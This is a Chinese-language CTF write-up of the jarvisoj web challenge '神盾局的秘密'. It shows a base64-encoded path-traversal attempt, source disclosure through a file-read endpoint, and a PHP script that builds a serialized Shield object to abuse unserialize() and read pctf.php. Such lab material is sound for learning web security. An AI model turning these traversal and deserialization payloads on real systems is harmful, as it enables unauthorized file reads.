CTFWP jarvisoj 神盾局的秘密

ctf wp

字数统计: 832阅读时长: 4 min

 2020/01/09   Share

贴上题目链接 http://web.jarvisoj.com:32768/

打开来是这样子一张图片

ctfwp-jarvisoj-sdjmm

分析下图片链接 showimg.php?img=c2hpZWxkLmpwZw==

图片是从showing.php中读取的，且img=base64编码

ctfwp-jarvisoj-sdjmm

盲猜文件包含，直接 ../../../../../../../flag 读取

Base64 编码 Li4vLi4vLi4vLi4vLi4vLi4vLi4vZmxhZw==

ctfwp-jarvisoj-sdjmm

似乎不对，接下来尝试读取已知showing.php文件的源码

查看源代码 view-source:http://web.jarvisoj.com:32768/showimg.php?img=c2hvd2ltZy5waHA=

ctfwp-jarvisoj-sdjmm

<?php
	$f = $_GET['img'];
	if (!empty($f)) {
		$f = base64_decode($f);
		if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
		&& stripos($f,'pctf')===FALSE) {
			readfile($f);
		} else {
			echo "File not found!";
		}
	}
?>

再来看看index.php的源码

ctfwp-jarvisoj-sdjmm

<?php 
	require_once('shield.php');
	$x = new Shield();
	isset($_GET['class']) && $g = $_GET['class'];
	if (!empty($g)) {
		$x = unserialize($g);
	}
	echo $x->readfile();
?>
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>

发现文件 shield.php ，来看看它的源码

ctfwp-jarvisoj-sdjmm

<?php
	//flag is in pctf.php
	class Shield {
		public $file;
		function __construct($filename = '') {
			$this -> file = $filename;
		}
		
		function readfile() {
			if (!empty($this->file) && stripos($this->file,'..')===FALSE  
			&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
				return @file_get_contents($this->file);
			}
		}
	}
?>

flag在pctf.php里面，尝试读取

ctfwp-jarvisoj-sdjmm

提示文件不存在，重新审计index和img的源码

ctfwp-jarvisoj-sdjmm

前面过滤掉了pctf，所以不能直接利用，但是定义shield类里面没有进行过滤，我们利用反序列化漏洞，构造一个shield类，且属性file为pctf.php

<?php 
	require_once('shield.php');
	$x = new Shield();
	isset($_GET['class']) && $g = $_GET['class'];
	if (!empty($g)) {
		$x = unserialize($g);
	}
	echo $x->readfile();
?>
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>

<?php
	//flag is in pctf.php
	class Shield {
		public $file;
		function __construct($filename = '') {
			$this -> file = $filename;
		}
		function readfile() {
			if (!empty($this->file) && stripos($this->file,'..')===FALSE  
			&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
				return @file_get_contents($this->file);
			}
		}
	}
?>

存在一个构造函数和一个readfile（file值不为空且不含..|/|\时，读file值的文件内容）

__construct()：PHP 将所有以 __（两个下划线）开头的类方法保留为魔术方法，只有在对象创建时自动被调用

把上面序列化的代码复制下来，本地跑一下

<?php
    class Shield {
        public $file;
        function __construct($filename = '') {
            $this -> file = $filename;
        }
        
        function readfile() {
            if (!empty($this->file) && stripos($this->file,'..')===FALSE  
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }
     $shield = new Shield('pctf.php');
    echo serialize($shield);
?>